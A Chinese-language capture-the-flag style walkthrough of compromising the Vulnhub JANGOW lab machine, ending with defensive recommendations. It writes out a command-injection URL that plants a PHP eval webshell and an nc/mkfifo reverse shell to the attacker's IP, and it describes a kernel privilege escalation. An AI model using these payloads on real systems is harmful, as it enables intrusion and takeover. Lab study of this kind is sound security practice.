【靶场实战】Vulnhub - JANGOW: 1.0.1 靶标实战

news2024/11/20 10:44:11

靶场地址:https://www.vulnhub.com/entry/jangow-101,754/

靶场IP:192.168.160.215

信息收集
使用Nmap对目标进行扫描
Nmap -sV -O -p- 192.168.160.215
在这里插入图片描述
经过漫长的等待扫描完成,该靶标开启了21、80两个端口,21端口运行服务为ftp,其版本为 vsftpd 3.0.3 ,80端口运行服务为Apache httpd 2.4.18,系统信息为 Linux 3.X|4.X

首先呢,我们访问80端口看有什么发现
在这里插入图片描述
可以看到这是一个目录遍历,有一个site目录,操作系统为Ubuntu,点击site目录
在这里插入图片描述
跳转到一个Web页面,页面右上角有三个模块,点击之后就是当前页面的下面部分,但是点击Buscar模块页面出现空白,但是出现如下链接
http://192.168.160.215/site/busque.php?buscar=
在这里插入图片描述
可以看到buscar未被赋值,猜测应该是代码执行或者是命令执行漏洞,那么就尝试一下输入命令看有无返回信息。
在这里插入图片描述
经过尝试发现可以进行命令执行。那么好我们姑且先暂时放下这块,我们一般看到这种URL可能会想到的操作就是扫描一下子它的目录,看有啥好东西。
在这里插入图片描述
发现有一个 .backup、site目录,我们就site目录继续深入扫描
在这里插入图片描述
通过两个目录扫描,共发现存在 .backup、/site/assets/、/site/css/、/site/index.html、/site/js、/site/wordpress/ 这几个目录和文件。

那我们就逐个去看一下
访问 .backup文件显示的是数据库的连接账号和密码
在这里插入图片描述
通过这里的代码可知一些信息就是当前这个网站采用的可能是php+mysql,里面存在连接数据库的账密,但是在扫描的时候并没有看到数据库端口,猜测应该是对外关闭了。

http://192.168.160.215/site/assets/ 介个是一个目录遍历,都是一些图片,没发现啥有用的信息。
在这里插入图片描述
http://192.168.160.215/site/css/styles.css 这里面都是前端的一些源码类似的,没用
在这里插入图片描述
http://192.168.160.215/site/wordpress/ 这个页面貌似与主页面一样的,没有啥可利用信息。
在这里插入图片描述
在信息收集阶段我们得到的有用的信息是,一个.backup里面存放着链接mysql的数据库账号密码,还有一个链接可以执行命令的。

漏洞利用

在信息收集阶段我们通过探测发现开放着除了80,还有一个21端口,那么对于ftp 21端口我们也是可以尝试渗透的,攻击的方法就是对21端口爆破FTP的密码,但是感觉希望不大。

但是突然想到这个靶场他就开着两个端口,那么我们刚才从80端口拿到一些敏感信息,那会不会在21上也会有用处呢,带着好奇心我们来尝试一下。
在这里插入图片描述
在这里插入图片描述
成功连接!

尝试上传马,但是FTP做了限制上传的限制。
在这里插入图片描述
既然上传不了,那就在寻找其他办法。

在翻阅目录时发现wordpress目录下的config.php文件找到了第二个用户和密码,和一个连接数据库的php脚本。
在这里插入图片描述
那么就尝试访问一下这个地址链接,访问地址测试数据库的连接失败了,应该是账密有问题。
在这里插入图片描述
在家目录下找到账户jangow01的flag:
在这里插入图片描述
现在找到了一个flag,但是呢!目前还没办法GetShell,思来想去,对了,我们刚刚有一个可以执行命令的链接,从哪里可不可以拿到WebShell呢,废话不多说,直接干!!!

执行命令看看当前目录有啥,路径是啥
在这里插入图片描述
在这里插入图片描述
那就尝试直接使用命令写入WebShell
http://192.168.160.215/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_REQUEST[%27pass%27]);%20echo%20%27OK%27;?%3E%27%20%3E%20shell.php
使用命令ls查看一下是否写入成功
在这里插入图片描述
访问shell.php测试一下
在这里插入图片描述
使用蚁剑进行连接
在这里插入图片描述
查看当前权限
在这里插入图片描述
www-data权限,并开着3306数据库端口。尝试寻找账号密码进行Mysql UDF提权,但无果。

反弹Shell

查看靶机支持反弹Shell的方法
在这里插入图片描述
可以看到有bash、python、php、exec、perl

反弹Shell可以参考:https://forum.ywhack.com/shell.php
在这里插入图片描述
(反弹Shell弄了很久,尝试了各种反弹Shell都没有成功)

猜测可能是防火墙做了端口的限制;这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;可以通过查看ssh的配置文件看看是否修改了端口;
在这里插入图片描述
这里看到配置文配置的端口还是22端口,可以确定是防火墙做了一些限制,于是就尝试了常用的端口,发现在443端口就可以成功反弹,使用nc进行反弹:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.160.158 443 >/tmp/f
在这里插入图片描述
成功接收到返回的Shell。

权限提升

查看系统版本
lsb_release -a ; uname -a
在这里插入图片描述
发现系统内核版本4.4 Ubuntu版本为16.04.1,通过在ExploitDB查找发现该版本存在有本地提权漏洞,也可以使用MSF搜索。

ExploitDB网址:https://www.exploit-db.com/
在这里插入图片描述
这里可以使用python调用本地的终端:

python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述
这里使用su jangow01切换到jangow01用户下
在这里插入图片描述
将exp.c文件通过蚁剑上传至/tmp目录下,通过gcc将其编译可执行文件,修改可执行文件权限为777,使用./执行文件,获取root权限!!!
在这里插入图片描述
在这里插入图片描述
Flag在root目录下
在这里插入图片描述
到此渗透结束!!!

总结

过程回顾

本篇文章主要jangow1.0.1靶场渗透的过程进行后续分析,首先是通过Nmap对靶机进行端口和服务等信息的探测,发现目标存在Web服务和FTP服务,然后通过对目标网站进行扫描找到目标网站存在的备份文件,和其他网站路径,发现其带参数的URL,测试发现了命令执行漏洞,还通过备份文件中包含的用户和密码,登录上目标的FTP服务(但是没有上传权限)。

然后通过命令执行写入WebShell,然后通过分析发现靶机配置了防火墙规则只能通过固定的端口443向外传输数据,接着nc反弹Shell,使用python调用本地终端,最后使用Ubuntu 16.04本地提权漏洞进行权限提升,并获取了ROOT权限。

防御建议

1、敏感信息泄露:

1) 禁止在代码中存储敏感数据:禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据,这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
2) 禁止密钥或账号的口令以明文形式存储在数据库或者文件中:密钥或账号口令必须经过加密存储。

例外情况:如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令,那么就不用强制遵循该规则,将该配置文件的属性改为只有属主可读写。

2、命令执行漏洞:

  1. 尽量不去执行外部的应用程序或命令。
  2. 使用自定义函数或函数库实现外部应用程序或命令的功能。
  3. 在执行system、eval等命令执行功能的函数前,校验参数内容。

使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号(’)会被转义为(\’), 双引号(”)会被转义为(\”),分号(;)会被转义为(😉,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为on,然后将允许执行的文件放入一下目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

3、目录浏览

Apache中关闭目录浏览功能:打开Apache配置文件httpd.conf,查找 “Options IndexesFollowSymLinks” ,修改为 “Options -Indexes” (减号表示取消),保存退出,重启Apache。

4、Ubuntu 16.04本地提权漏洞:即使更新系统版本,下载安装最新补丁。

5、 加装WAF,防火墙等安全设备。

6、使用最小权限原则,严格控制用户访问权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/591258.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python中按钮的位置摆放

Python中按钮的位置摆放 在Python应用程序中,按钮是常见的交互元素之一。按钮通常用于响应用户的操作,例如提交表单或执行某些功能。然而,在设计应用程序时,按钮的位置是一个重要的问题,因为它将直接影响用户体验和应…

chatgpt赋能python:Python中的画图——创建漂亮的可视化图像

Python中的画图——创建漂亮的可视化图像 Python是一个高度可编程的语言,因此它非常适合用于创建各种类型的可视化。 在本文中,我们将介绍Python中的画图。我们将讨论如何使用Python和一些流行的数据可视化库来创建漂亮的可视化图像。我们还将探讨如何…

【PWN · ret2libc】[2021 鹤城杯]babyof

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点 目录 前言 一、题目重述 二、exp(思考与理解在注释) 三、经验总结 攻击步骤: 注意要点 四、疑问 前言 64位Linux和32位Linux确乎有着关于参数传递上的不同&a…

chatgpt赋能python:Python中怎么转置矩阵

Python中怎么转置矩阵 在Python中,我们可以轻松地实现矩阵的转置操作。矩阵转置是指将矩阵的行列互换,即将矩阵的行转换为列,将列转换为行。这种操作在数据处理和科学计算中是很常见的,因此我们需要了解如何在Python中进行矩阵转…

人工智能粒子群优化三大算法

粒子群优化是以邻域原理(neighborhood principle)为基础进行操作的,该原理来源于社会网络结构研究中。驱动粒子群优化的特性是社会交互作用。群中的个体(粒子)相互学习,而且基于获得的知识移动到更相似于它…

6.S081——补充材料——RISC-V架构中的异常与中断详解

0.briefly speaking 我在阅读Xv6源码过程中对很多概念感到困惑,想到也许会有其他人对此秉持同样的困惑,所以我将我的研究和学习过程总结下来并编篡成如下的博客。本篇博客想对RISC-V标准中有关中断和异常的概念进行一个梳理,考虑RISC-V标准的…

root 密码破解(rd.break)

在Linux系统中,忘记root密码时,可以用此方法进行暴力修改root密码 示例: 设置一个新的记不住的密码 $ echo cnakdnvf | passwd --stdin root $ poweroff 1.启动此虚拟机,选中以下行,并按 【 e 】进入内核编辑页面 …

【Leetcode -746.使用最小花费爬楼梯 -747.至少是其他数字两倍的最大数】

Leetcode Leetcode -746.使用最小花费爬楼梯Leetcode -747.至少是其他数字两倍的最大数 Leetcode -746.使用最小花费爬楼梯 题目:给你一个整数数组 cost ,其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用,即可选择…

数电/数字电子技术期末考前突击复习(小白稳过,看这一篇就够了)

博主:命运之光 专栏:期末考试必过and不挂科and争高分😶‍🌫️还有其他科目的考试突击日后会陆续更新 ✨✨✨✨✨点赞,关注,收藏不迷路✨✨✨✨✨ 🦄前言:总结了期末数电大概率可能…

MySQL进阶 -存储引擎

目录 存储引擎MySQL的体系结构存储引擎简介InnoDB存储引擎MyISAM存储引擎Memory存储引擎InnoDB,MyISAM和Memory的区别存储引擎的选择小结 存储引擎 MySQL的体系结构 MySQL的体系结构图: MySQL服务端的体系结构(MySQL Server)&am…

自动化测试经典面试题-定位不到元素

元素定位常见的面试相关问题 一、元素定位1、Selenium/Appium定位方法有几种?分别是?2、如何通过子元素定位父元素 二、元素定位不到1、定位不到元素是什么原因导致的?2、如何定位动态元素3、有的元素就加载页面上,但是你却定位不…

Rust 笔记:有限状态机原理/状态模式 及其 在Rust 编程中的应用

Rust 笔记、设计模式 有限状态机原理及其在Rust 编程中的应用 作者:李俊才 (jcLee95):https://blog.csdn.net/qq_28550263?spm1001.2101.3001.5343 邮箱 :291148484163.com 本文地址:https://blog.csdn.ne…

chatgpt赋能python:Python中拷贝的介绍

Python 中拷贝的介绍 在 Python 中,拷贝是一个十分常见而且必要的操作。拷贝可以在许多情况下被使用,例如在创建测试数据、编写一个新的算法时,或者是在处理多维数据结构的程序中。由于 Python 中的对象是动态类型的,因此在拷贝时…

IDEA 安装配置步骤详解

引言 IntelliJ IDEA 是一款功能强大的集成开发环境,它具有许多优势,适用于各种开发过程。本文将介绍 IDEA 的主要优势,并提供详细的安装配置步骤。 介绍 IntelliJ IDEA(以下简称 IDEA)之所以被广泛使用,…

Linux系统下imx6ull QT编程—— C++基础(一)

Linux QT编程 文章目录 Linux QT编程前言一、 C的输入输出方式1.cout语法形式2.cin语法形式3.C之命名空间 namespace 前言 学习 C的面向对象编程,对学习 Qt 有很大的帮助 一、 C的输入输出方式 效率上,肯定是 C 语言的 scanf 和 printf 的效率高&#…

回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测

回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测 目录 回归预测 | MATLAB实现SSA-CNN-GRU麻雀算法优化卷积门控循环单元多输入单输出回归预测预测效果基本介绍模型描述程序设计参考资料 预测效果 基本介绍 MATLAB实现SSA-CNN-GRU麻雀算法优…

代码随想录算法训练营第五十七天 | 回文

647. 回文子串 文档讲解:代码随想录 (programmercarl.com) 视频讲解:动态规划,字符串性质决定了DP数组的定义 | LeetCode:647.回文子串_哔哩哔哩_bilibili 状态:不会做。 思路 确定dp数组(dp table&#xf…

黑马Redis视频教程实战篇(一)

目录 一、短信登录 1.1、导入黑马点评项目 (1)导入黑马点评sql脚本 (2)导入后端项目 (3)导入前端项目 1.2、基于Session实现登录流程 1.3 、实现发送短信验证码功能 1.4 、实现登录拦截功能 1.5 、隐…

C语言——每日一题

1.倒置字符串 倒置字符串 要将每一个单词逆序输出,首先可以将整个字符串内容都逆序输出,然后再将字符串中的每一个单词再进行逆序。 例如:逆序 i like beijing. 先逆序成:.gnijieb ekil i 再将每个单词逆序: beij…

chatgpt赋能python:Python中字符串的转换方法

Python中字符串的转换方法 作为一门非常强大的编程语言,Python在字符串的处理上也有着非常丰富的功能。在Python中,字符串是非常重要的数据类型之一,也是最常用的数据类型之一。字符串在Python中有着很多的用途,比如表示文本数据…